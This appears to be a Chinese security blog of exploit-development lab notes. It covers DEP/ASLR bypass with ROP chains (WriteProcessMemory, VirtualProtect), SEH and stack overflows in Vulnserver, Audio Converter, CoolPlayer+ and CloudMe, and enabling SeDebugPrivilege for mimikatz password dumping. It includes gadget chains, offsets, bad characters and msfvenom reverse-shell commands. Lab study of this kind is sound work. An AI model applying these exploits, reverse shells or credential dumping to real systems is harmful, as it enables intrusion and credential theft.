花了一些时间,拿到了Offensive Security的4个证书。
下面是我关于4个证书的备考总结,分享给大家:
https://n0maj1o24.notion.site/OSCE3-8cba8825129441aba5d0b7a78961f5bf
花了一些时间,拿到了Offensive Security的4个证书。
下面是我关于4个证书的备考总结,分享给大家:
https://n0maj1o24.notion.site/OSCE3-8cba8825129441aba5d0b7a78961f5bf
完成HTB Pro Offshore实验。
证书:
详情查看:
https://n0maj1o24.notion.site/HTB-Pro-Offshore-Review-52158272e2b048e8b8a998a6a7723966
最近,在渗透测试抓取密码的时候,出现如下问题:
一般出现这个问题是因为当前cmd
权限不够,这里的cmd
已经是管理员权限,所以有点奇怪,现在来进行排查,查看当前用户的信息:
虽然当前用户在管理员组,但是SeDebugPrivilege
权限竟然没有设置,这个比较奇怪。原因出在这里,没有Enable SeDebugPrivilege。
现在来开启SeDebugPrivilege
。
注意,给当前用户加入SeDebugPrivilege
权限之后,需要重启机器,然后再进行操作。上图后续几步操作其实在重启之前是无效的。
重启之后,查看用户权限:
继续来一遍之前的操作:
可以发现,现在SeDebugPrivilege
已经变为Enabled
了。
再次运行mimikatz,发现可以抓取密码了。
SetSeDebugPrivilege.ps1源码如下:
1 | function Main |
参考:
1.https://blog.csdn.net/singleyellow/article/details/93394557
2.https://www.powershellgallery.com/packages/PoshPrivilege/0.1.1.0/Content/Scripts%5CAdd-Privilege.ps1
3.https://github.com/cloudbase/unattended-setup-scripts/blob/master/ServiceUserManagement.ps1
4.https://gist.github.com/nijave/9174d5af9378a0c4ef1498795f1ead0d
5.https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e
6.https://gist.github.com/altrive/9151365
7.https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1
这次,用WriteProcessMemory
来Bypass DEP
,看一下WriteProcessMemory
的函数原型:
1 | BOOL WriteProcessMemory( |
hProcess:
要修改的进程内存的句柄。句柄必须具有对进程的 PROCESS_VM_WRITE
和 PROCESS_VM_OPERATION
访问权限。
lpBaseAddress:
指向要写入数据的指定进程中的基地址的指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据都可以进行写访问,如果不可访问,则函数失败。
lpBuffer:
指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。
nSize:
要写入指定进程的字节数。
lpNumberOfBytesWritten:
指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWritten
为NULL
,则忽略该参数。
根据函数各参数的说明,在Bypass DEP
的时候,各参数的设置情况:
hProcess:
提供一个伪句柄,指定为特定的常量-1
,当WriteProcessMemory API
被调用的时候,它会将-1
转换为实际进程句柄,也就意味着这个参数我们设置的时候可以忽略。
lpBaseAddress:
这个参数我们可以设置为一个绝对地址,其指向我们将要写入模块的代码段,为了不引起程序崩溃,可以指向代码段中未使用的区域。这里有个技巧,因为代码段在编译的时候需要对齐,所以选择在代码段上限的尾部即可,因为这里填充的一定是null
字符。
在windbg
中看一眼:
这里可以使用的是essfunc.dll
。
依据PE
相关知识,获取代码段地址的步骤:
DOS Header + 0x3c
指向PE Header
:
PE Header + 0x2c
指向代码段:
来获取essfunc.dll
的代码段地址:
获取的代码段地址为62501000
,看一下对应的内存属性:
定位到代码段某一地址(这里62501c00
,后续考虑地址不包含00
字符,选择62501c10
作为lpBaseAddress
的值):
lpBuffer:
保存shellcode
所在地址,这个地址需要到执行栈溢出之后,才能确定。
nSize:shellcode
的大小。几乎所以metasploit
产生的shellcode
大小都是小于500bytes
,所以我们可以指定任意值,这里用-524(0xfffffdf4)
代替,然后取反即可。换做ROP Gadget
就是先把0xfffffdf4
存入某个寄存器,如EAX
,然后NEG EAX
即可。
lpNumberOfBytesWritten:
指向一个可写的DWORD
空间,用于保存WriteProcessMemory
复制的byte
数目。比较简单的方法是将其保存到essfunc.dll
的数据段里面,来看一下:
1 | 0:001> !dh -a essfunc |
确认数据段里面的空间没有被使用:
段需要对齐,可以查看section alignment
的对齐为1000
:
前面2000+24
的值不为1000
的整数倍,所以后续会补00
,直到它为1000
的整数倍为止。我们在取值的时候+4
正好可以落在为了补齐增加的00
空间里,不需要刻意到前面去查找。
接下来,就是在essfunc.dll
的IAT
中找是否存在WriteProcessMemory
,利用!dh essfunc.dll -f
查看IAT
地址和偏移时发现都是空,有点诡异。
在windbg
用命令dps essfunc L2000
查看,找到一些信息:
借用之前文章《Sync Breeze 10.0.28 bypass DEP》的方法获取WriteProcessMemory
的地址,这里就不过多介绍了,国际友人那个脚本会出问题,还是得手动来:
根据以上信息,WriteProcessMemory
函数的部分参数是可以提前确定的:
1 | func = struct.pack("<L",0x45454545) # WriteProcessMemory Address |
现在需要关注的仅为WriteProcessMemory函数地址,shellcode在栈空间的地址,以及shellcode的大小。
这里在确定shellcode栈空间的时候,主动腾出了一片栈空间,保证ROP Gadget不会超出这块空间,也就确定了shellcode的地址,因为只需要接在这块空间之后即可。
1 | rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN |
完整的利用代码如下:(系统重启无效,因为很多ROP Gadgets
源于开启ASLR
的DLL
,ESSFUNC.DLL
中不具备完全的ROP Chain
生成要素)
1 | #!/usr/bin/env python3 |
执行,出现问题了:
因为msfvenom
解码存根希望代码存储在可写的内存里面,但是这里并没有。msfvenom
解码器在这里变得无法使用,只能利用其他办法,比如自己写不包含坏字符的shellcode
;或者替换坏字符,并在代码复制到代码段之前,恢复这些坏字符,这需要增加一些恢复的ROP Gadgets
。
自定义shellcode:这里有个需要注意的地方,那就是遇到坏字符的处理,可以将产生坏字符的指令替换成其他指令,改变寄存器的值等,有点类似之前egghunter
生成存在00
字符时,改变指令的方法。这里利用外国友人的脚本,来生成shellcode
:
注意对坏字符的检测,这里检测到坏字符,需要自己定位到相应的指令处,手动修改。多个坏字符用空格间隔开。
将利用脚本里面的shellcode
部分替换成这里生成的shellcode
,再次执行,喜闻乐见的反弹shell
出现了:
编码和解码shellcode:这种方法稍微复杂点,需要增加一些解码的ROP Gadget
,在构建ROP Chain
的时候,随着解码坏字符的ROP Gadget
的增加,栈空间会随着增加,如果坏字符比较多,所需要的栈空间会更多。编码和解码部分的代码如下:
1 | def mapBadChars(sh): |
这个算法的思路就是把每个坏字符的位置保存到一个列表里面,然后从头到尾进行遍历,到达坏字符的位置之后,进行某种运算,这里用的加法,因为0x00-0xff=0x01
。我这里是从shellcode
的开始位置往后遍历,有的也用开始位置之前往后遍历,主要是看能不能正确遍历每一个值,具体哪种视情况而定。还有上述value=(value)|0x11111100
,这里ROP Gadget
使用DL
,为了保证其他为不会出现00
,所以使用了0x11111111
,另外不局限于DL,AL,AH,BL,BH
等等都可以,关键在于能够找到符合要求的ROP Gadget
。
考虑到ROP Gadgets
会比较长,这里有个小技巧,用于开辟一块比较大的栈空间存储ROP Gadgets
:
1 | # Patching dummy lpBuffer |
这里使用0x88888888+0x77777988=0000000100000210
(高8位截断,所以为0x210
),要多大栈空间,可以大致评估出来,比如先确定有多少坏字符,每个坏字符需要多少bytes ROP Gadgets
进行处理,加上处理WriteProcessMemory
三个参数的ROP Gadgets
,再加上对齐shellcode
的ROP Gadgets
和改变ESP
到执行流的ROP Gadgets
。
可以看到已经指向了\x90
区域。
后续需要注意的就是,解码之前需要让ESP
正好指向shellcode
开始的部分,我这里的ROP Gadgets如下:
1 | # Align EAX with shellcode |
还有一个需要注意的地方,因为是自己来进行编码和解码,用msfvenom
仅需生成原始shellcode
即可。如本地使用如下:
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode |
以上是需要注意的地方,当存在单个坏字符时,最终的利用脚本如下:
1 | #!/usr/bin/env python3 |
喜闻乐见的反弹shell
如下:
单坏字符,用于解码的ROP Gadgets
一般不会很长,如果涉及很多坏字符,解码的ROP Gadgets
会很长,最终可能因为栈空间不够,导致shellcode
受到挤压,后续被截断,最终导致利用失败。
尝试7个坏字符时,最后因为栈空间不够导致shellcode
被截断了。最终,试了3
个坏字符的情况,还算正常。利用脚本如下:
1 | #!/usr/bin/env python3 |
喜闻乐见的反弹shell
如下:
本次讨论的Audio Converter 8.1
在Win7 SP1 6.1.7601
和Win10 10.0.19044
两者之间有一些不同,在Win7
下漏洞能够利用成功,在Win10
下会出现SEH Handler
无法捕捉到异常,导致漏洞执行失败。
先来看Win7
下的漏洞利用:之前遇到的SEH
栈溢出漏洞,覆盖的都是SEH
链的第一个NSEH
和SEH Handler
,而这里覆盖的是第二个NSEH
和SEH Handler
。简单的部分就不说了,Win7
下Offset
为4432
(覆盖NSEH
的值),坏字符为\x00\x0a
。
看一下溢出的时候,其实是SEH
链第二个节点被覆盖:
但是,这不影响漏洞利用的方式,还是P/P/R
结合JMP
,如果当前异常处理函数无法处理异常,则会转到下一个异常处理函数处理,所以覆盖的异常处理函数是可以得到执行的,进而执行写入的shellcode
。考虑要bypass ASLR
,所以需要找到未开启ASLR
的DLL
:
win7
下没有开启全局DEP
时,就是简单的SEH
栈溢出,最终的利用代码如下:
1 | #!/usr/bin/python3 |
成功反弹shell
:
现在开启全局DEP
,来看一下,基本的步骤就不说了,截图几张:
利用mona
,在每个SEH Handler
下断点,这个方法还挺方便的:
查找ROP Chain
在内存的位置:
执行到触发SEH
之后,查看此刻ESP
,得到ROP Chain
与ROP
之间的距离:
利用mona
寻找跳转大于等于2412
的ROP Gadget
:
在生成的stackpivot.txt
文件中挑选符合要求的ROP Gadget
:
这里选择0x100646bb
作为覆盖seh
的地址。注意跳转了3652
个字节,需要在ROP Chain
前面填充一些\x90
,不然会跳转到ROP Chain
内部,导致无法执行。经过多次尝试,需要添加1348
个\x90
才能精确到达ROP Chain
的最开始部分。
最终的利用代码如下:
1 | #!/usr/bin/python3 |
成功反弹shell
:
来看一下win10
,不开启DEP
。溢出时,可以看到SEH
链的第二条被我们覆盖了:
在异常处理的时候,出现如下问题:(会一直停留在第一个异常处理函数里面,无法跳出)
谷歌了一下,说是异常没有捕获到。这里就不进一步讨论了。
2022年5月14日更新:Win10利用失败的原因是,我想找一个SafeSEH
关闭,且未开启ASLR
的DLL
,这样就可以保证利用脚本是稳定的,不会因为系统重启而无法使用。这里有且仅有audconv.dll
,可以看上面我使用的地址,是以00
开始,这样就导致内存里指令会被截断,而开始部分的Win7
,audconv.dll
地址空间不是以00
开始,所以可以利用成功。
测试环境:Windows 10 21H2 32
位,关闭全局DEP
。最开始是想开启全局DEP
,然后尝试Egghunter+Bypass DEP+Bypass ASLR
,后来发现不可行,就把全局DEP
关掉了。
exploit-db
上的链接:https://www.exploit-db.com/exploits/40151。
基本操作没有太多有意思的点,就不阐述了。我选择的2000
字节,Offset
确定为212
,坏字符为\x00\x0a\x0d
。
mona
看一下未开启ASLR
的模块:
只有coolplayer+.exe
本身,并且地址区间在0x00400000
到0x00485000
间。好了,问题来了,地址包含00
,会截断后续的字符,我们如果需要Bypass ASLR
的话,又只能使用这里的某个地址。为了更加直观的获取寄存器与我们输入的字符串之间的关系,检查查找坏字符时内存的情况:
也就是说,EBX
所指向的内存保存着我们的输入字符,按照一般的栈溢出,只需把EIP
的值覆盖为一条类似JMP EBX
即可。
直接贴上最终的利用代码来分析:
1 | import sys |
这里选择0x00401897
用于覆盖EIP。
发现EIP
之后的值都变了,我这里在EIP
之后是放的\x90
。来看看此刻EBX
所指向的内存的值:
发现EBX
所指向的内容就是我们输入的内容,并且没有截断。最开始想把shellcode
放在导致溢出的A
字符串所在的位置,这里的空间太少,不能直接放,只能考虑放egghunter
代码。
成功反弹shell
:(因为涉及到内存的搜索,反弹shell
需要等待一些时间)
测试环境:Windows 10 21H2 32
位,开启全局DEP
。这里来看如何绕过DEP
和ASLR
。附带演示一下基于SEH
栈溢出DEP bypass
与普通SEH
栈溢出利用代码结构的不同。
普通栈溢出利用:
这个程序可以用普通的栈溢出DEP bypass
来完成利用。此时Offset
为1052
。太简单了,就不过多解释了。
查找未开启ASLR
的DLL
,并查找RETN
:
1 | 0:014> .load pykd.pyd |
1 | 0:014> !py mona find -type instr -s "retn" -p 10 -o -m Qt5Core.dll |
来看一下最终的利用代码:
1 | import sys |
利用mona
自动生成的ROP Chain
,所使用的Qt5Core.dll
没有开启ASLR
,所以这里采用的选择未开启ASLR
的DLL
来bypass ASLR
。
成功反弹shell
:
SEH栈溢出利用:
触发SEH
栈溢出Offset
为2348
,注意这里是指覆盖Next SEH
而不是SEH Handler
。按照普通SEH
栈溢出漏洞利用,P/P/R
配合JMP
,来一下出现的问题:
P/P/R
处下断点,异常发生之后,进入P/P/R
:
想要执行JMP
指令,因为DEP
的存在,执行失败:
结合前一篇文章介绍,这里需要一条能够跳转到ROP Chain
的指令覆盖SEH Handler
,上一篇文章介绍的比较详细,这里给出最后的利用脚本:
1 | import sys |
成功反弹shell
:
参考:
1.https://xen0vas.github.io/cloudme-v1-11-2-dep-bypass-using-rop-gadgets/#
测试环境:Windows 10 21H2 32
位,开启全局DEP
。这里来看如何绕过DEP
和ASLR
。
没得说,肯定是先看需要多少字节能够Crash
程序。简单的步骤就不说了,讲一下我遇到的一些小坑。
参考exploit-db
:https://www.exploit-db.com/exploits/14191。这里选择字节长度为`50000`。
1 | #!/usr/bin/python3 |
程序Crash
的时候,发现把SEH
链给覆盖了:
所以,这里应该是基于SEH
的栈溢出,需要绕过DEP
和ASLR
。
在寻找Offset
的时候,遇到一个小坑。这里可以用msf-pattern_create -l 50000
生成,或者windbg
加载mona
之后,使用!py mona pc 50000
生成,生成没有问题,主要是在确定具体的Offset
的时候,出现了一点小问题。
注意看windbg
中,通过mona
查找到的具体Offset
:
看一下msf-pattern_offset
中查找到的具体Offset
:
最后的正确Offset为43474
。个人感觉是因为pattern
太长了,里面的字符串出现了重复,而windbg
中mona
没有搜索完,只搜索到第一个就停止了,所以,后续查找Offset
的时候,最好两边一起验证下,如果有多个值符合条件,每个值最好也试一下。
Offset
偏移是正确的,注意标红的框,这里有个小细节,42424242
之后被覆盖了ffffffff
,这个ffffffff
应该是SEH
链的尾部。后续在查找坏字符的时候,会发现04030201
没找到,原因是因为被ffffffff
覆盖了。基于这一点,后续在写利用代码的时候,可以在Offset
之后先跟一段\x90
,然后再接shellcode
,以防shellcode
被覆盖导致不能执行。
注意,在查找坏字符的时候,需要定位坏字符串的位置,这里可以利用windbg
中的搜索功能,需要先用!teb
获取当前内存的空间大小及地址,然后再查找:
1 | 0:000> !teb |
搜索的命令为:
1 | s -a 000e0000 00150000 BBBB |
显然,第一个坏字符为09
,后续发现0a
也是坏字符:
最终坏字符为\x00\x09\x0a
。
讲一点小知识:对于开启DEP
且基于SEH
的栈溢出,不能使用之前讨论的未开启DEP
的SEH
栈溢出利用方法。因为开启DEP
之后,栈空间是不可执行的,而之前SEH
利用方式中组合P/P/R
和JMP
的方式,在P/P/R
执行完之后,后续跳转到JMP
指令上,因为该指令在栈上面导致无法执行。正确的方法是直接用能跳转到ROP Chain
上的指令覆盖SEH Handler
。
考虑到Bypass ASLR
,在构建ROP Chain
的时候,如果程序运行时没能泄漏出某个函数的地址,则需要选择没有开启ASLR
的DLL
,不然可以先计算出基址,然后ROP Gadget
都选择相对地址构建ROP Chain
即可。这里选择没开启ASLR
的DLL
:
在用mona
自动生成ROP Chain
的时候,发现生成不成功,如下所示:
1 | *** [ Python ] *** |
注意看,里面说没有找到设置EDX
的ROP Gadgets
。这里在构造设置EDX
的ROP Gadgets
的时候,因为牵涉到EBX
,需要将设置EBX
值的ROP Gadgets
放到设置EDX
的ROP Gadgets
后面去。来看看我构造的设置EDX
的ROP Gadget
:
1 | #[---INFO:gadgets_to_set_edx:---] |
因为RETN 0x10
指令的存在,这里需要把设置ECX
的其中一条ROP Gadget
放到设置EDX
的ROP Gadgets
中间。
修改之后的ROP Gadgets
如下:
1 | def create_rop_chain(): |
小知识点:RETN
操作:先EIP=ESP
,然后ESP=ESP+4
;RETN N
操作:先EIP=ESP
,然后ESP=ESP+4+N
。
ROP Gadgets
构造完成之后,现在就是如何让SEH Handler
执行的时候,能够跳转到ROP Gadgets
的第一条指令,这里一定要跳转到ROP Gadgets
的第一条指令,前面不能加\x90
进行填充,这里和shellcode
之前的\x90
填充不一样,这里因为有RETN
指令,如果用\x90
填充,会把\x90\x90\x90\x90
设置为EIP
的值,而这会指向一个无效的地址。shellcode
之前的\x90
填充,因为使用的JMP ESP
指令,就算跳转到\x90
所在区域,并不会把\x90\x90\x90\x90
设置为EIP
的值,EIP
的值指向\x90\x90\x90\x90
,只会不断的跳过这些\x90
空指令,直到遇到shellcode
第一条指令。
暂时设置SEH Handler
的值为\xcc\xcc\xcc\xcc
,然后重新运行,当溢出发生的时候,来看一下此刻ROP Chain
和ESP
之间的距离:
1 | (1c78.1948): Access violation - code c0000005 (first chance) |
可以看到两者之间的距离在18aach
,现在需要找到能够跳转大于等于18aach
的ROP Gadget
来替换SEH Handler
中的值。使用如下命令:
1 | !py mona stackpivot -n -m MSA2Mfilter03.dll -distance 101036 -cpb '\x00\x09\x0a' |
最终的结果会保存到stackpivot.txt
文件里面。来看一下文件里面的部分内容:
这里选择的0x1001f35f
地址所在的ROP Gadget
。但是这里跳转了19000h
,会跳到ROP Chain
里面去,我们需要在ROP Chain
前面增加一些\x90
,让ESP
正好能够指向ROP Chain
的第一条指令。具体的值需要不断的调试才能确定,主要是因为添加的\x90
也会占用空间,会让ESP
与ROP Chain
之间的距离变长。最终得到的\x90
长度为57424
。这里我还考虑了一下,这个值会不会让最终的PAYLOAD
指到栈空间以外的地方。验证了一下:
空间足够大,没问题。
最终的利用代码如下:
1 | #!/usr/bin/python3 |
成功反弹shell
:
之前写过两篇TRUN bypas DEP
的文章,最终都选择了Win7
作为实验的操作系统。这里,选择Win10 21H2 x32
作为实验的操作系统。
最简单的办法,直接mona
自动生成ROP Gadgets
。但是,有一个问题,mona
会去选择开启ASLR
的DLL
中的ROP Gadget
,也就意味着系统重启之后,ROP Gadgets
就会变得不可用。
windbg
中mona
插件生成的ROP Gadgets
,和之前在immunity debugger
中使用mona
产生的ROP Gadgets
略有不同,并且产生速度也比较慢,因为我的windbg
安装的位置,如果启动windbg
不用管理员,后续mona
生成的几个txt
文件都没法保存。单纯在essfunc.dll
中是找不到符合要求的ROP Gadgets
,需要使用如下命令:
1 | !mona rop -m *.dll -n |
retn
指令的地址,查找方式:
1 | !mona find -type instr -s "retn" -p 10 -o |
看一下mona
自动生成的POP Gadgets
:
1 | def create_rop_chain(): |
最终的利用脚本如下:
1 | #!/usr/bin/env python3 |
反弹shell
成功:
自动化产生ROP
的方式,还是太过简单,来看看手动构造。基础知识就不提了,前面几篇DEP
相关的文章都写了。
首先,在IDA
中查找导入表,看能否找到VirtualProtect
或者VirtualAlloc
的地址。这里我选择从essfunc.dll
中查看,因为从vulnserver.exe
中查看,发现找到的地址包含00
,不便于后续处理,还有注意最后的DLL
是需要程序运行时加载的:
可以看到VirutalProtect
的导入表地址为6250609C
。
注意VirtualProtect
的函数结构:
1 | BOOL VirtualProtect( |
在编写利用脚本时,VirtualProtect
函数需要写成如下所示:
1 | func = struct.pack("<L",0x45454545) # dummy VirutalAlloc Address |
可以看见,目前这里都是随机填写的,后续需要通过ROP Gadget
去修改为正确的值。有一点需要注意,最后的lpflOldProtect
参数,可以选择一个可读可写的内存地址,后续ROP Gadget
也不需要进行修改。这里我选择essfunc.dll
中的未使用空间,并且地址不包含00
。
查看essfunc.dll
的地址:
查看对应地址的属性:(!vprot
或者!address
都可)
查看选择的地址0x62502610
:
接下来开始组织ROP Gadgets
,首先需要保存ESP
的值,最好是保存到两个寄存器中:
1 | # PUSH ESP # POP ESI # RETN ** [KERNEL32.DLL] ** | asciiprint,ascii {PAGE_EXECUTE_READ} |
寻找合适的ROP Gadget
是一个非常繁琐的过程,上面所示就是本例中适合保存ESP
的POP Gadget
,并且方便后续的操作。
接下来看,如何把IAT
中VirtualProtect
的地址存放到之前45454545
占位符所在的位置,下面是对应的ROP Gadgets
:
1 | eip = struct.pack("<L",0x62501022) # retn essfunc.dll |
注意上面这段POP Gadgets
的关键点是需要找到45454545
占位符的位置,这需要在windbg
中不断调试。
接下来是shellcode
的地址覆盖到占位符46464646
和47474747
的位置。这里有点意思:因为目前你不知道shellcode
的具体位置,还有一个点就是ROP Gadget
是占空间的,随着ROP Gadget
越来越多,前期找到的shellcode
地址可能就偏移了,就会导致执行的地址在shellcode
中间,导致shellcode
无法执行。有一个办法就是在shellcode
之前加一段较大范围的\x90
,这样来回小范围移动,并不会影响最终shellcode
的执行。看一下这段ROP Gadgets
:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来覆盖46464646
占位符所在地址的内容。按照我们之前编写的VirtualProtect
函数模版,每个参数之间的地址差都是4bytes
,所以这里只需要对上一步中EAX
加4
,就能执行46464646
占位符的地址,然后修改其中的值即可。ROP Gadgets
如下:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来,有一些小技巧:
为了保存0x01
,可以使用如下ROP Gadget
:
1 | # POP EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
其中,-1
按照之前的技巧,等于ffffffff
,然后用NEG
指令即可得到1
。
这段的ROP Gadgets
如下所示:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
接下来继续看如何保存0x40
,继续使用之前介绍的小技巧:
直接看这段的ROP Gadgets
:
1 | rop1 += struct.pack("<L",0x74ea4480) # INC EAX # RETN ** [mswsock.dll] ** | {PAGE_EXECUTE_READ} |
因为EAX
和EDX
都被使用到,注意EDX
在使用之前,需要将其中保存的ESP
原始值保存到其他寄存器中,这里找到符合要求的EBX
,注意# MOV EBX,EDX # RETN ** [ntdll.dll] ** | {PAGE_EXECUTE_READ}
这条ROP Gadget
。
接下来,就是执行VirutalProtect
函数,这里需要ESP
指向VirualProtect
在栈空间里面的位置,最终的ROP Gadgets
如下:
1 | rop1 += struct.pack("<L",0x76535eb8) # MOV EAX,EBX # POP EBX # RETN ** [RPCRT4.dll] ** | {PAGE_EXECUTE_READ} |
以上就是关键步骤的ROP Gadgets
。最终的利用代码如下:
1 | #!/usr/bin/env python3 |
成功反弹shell
:
上面使用的是VirtualProtect
绕过DEP
,如果是VirtualAlloc
的话,最终略有不同。因为essfunc.dll
的导入表里面没有VirutalAlloc
,这里仅做一些解释。看一下VirtualAlloc
函数的原型:
1 | LPVOID VirtualAlloc( |
利用脚本里面,VirtualAlloc
的模版如下:
1 | LPVOID VirtualAlloc( |
1 | func = pack("<L", (0x45454545)) # dummy VirutalAlloc Address |
在windbg
中看一下vulnserver
加载的DLL
有哪些:
在RPCRT4.DLL
的导入表中,可以找到VirtualAlloc
函数:
可以看到VirtualAlloc
函数在导入表的地址为4F0340D0
。需要注意的地方:api-ms-win-core-memory-l1-1-0.DLL
库在程序运行的时候并没有加载,如果使用这个值,会出现类似如下这样的问题:
我的理解:查找VirtualAlloc
或者VirutalProtect
函数在IAT
中的地址时,需要注意关联的DLL
,如果该DLL
在程序运行时加载了,那可以使用通过IAT
中函数地址找到该函数,如果DLL
在程序运行时没有加载,那么通过IAT
中函数地址无法找到该函数运行时地址。
参考:
1.https://www.nirsoft.net/articles/windows_7_kernel_architecture_changes.html
本次实验讨论在Win10 21h2 x86
系统下关闭DEP
。继续分析Vulnserver HTER
,先来看一下逆向的代码,挑重点的看:
这里的_strtoul
函数,将字符串转换为无符号长整数值。具体可以参考:https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/strtoul-strtoul-l-wcstoul-wcstoul-l?view=msvc-170.本程序是将`16`进制转换为无符号长整数值。意味着我们需要传入`hex`格式的字符串,也就是`0-9,A-F,a-f`都可以。这对后续坏字符查找和最后的`shellcode`编写都很重要。
来看看新的fuzz
代码:
1 | #!/usr/bin/env python3 |
这里用到了boofuzz
,据说很好用。但是fuzz
有个问题,就算程序崩溃了,想要一眼找到具体需要发送的字符长度很难,还是需要测试。
这里从boofuzz
找到,5000
个A
的时候是可以崩溃的。后来又测试了3000
个A
,发现也会崩溃。
继续来查找offset
,这里不能用msf-pattern-create
生产的字符串来进行测试寻址,因为只能为0-9,a-f,A-F
,所以这里需要自己构造,使用的方法有点像算法里面的二分查找。
先看下构造的程序:
1 | #!/usr/bin/env python3 |
可以看到EIP
被cccccccc
覆盖:
后续应该继续在c
字符串所在位置进行细分,比较繁琐,最后确定offset
为2041
。
最终的确定offset
程序如下:
1 | #!/usr/bin/env python3 |
查找badchar
的代码如下:
1 | #!/usr/bin/env python3 |
注意看,坏字符串都转换为hex
格式了。来看一下windbg
中的情况:
可以发现测试的坏字符串能都保存在内存中,也就是说00
为唯一的坏字符。
获取jmp esp
的地址:
这里,选择0x625011af
用于覆盖EIP
。
生成hex
格式的shellcode
:
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f hex -b '\x00' |
最终的利用代码如下所示:
1 | #!/usr/bin/env python3 |
成功反弹的shell
:
参考:
1.https://captmeelo.com/exploitdev/2018/07/01/vulnserver-hter.html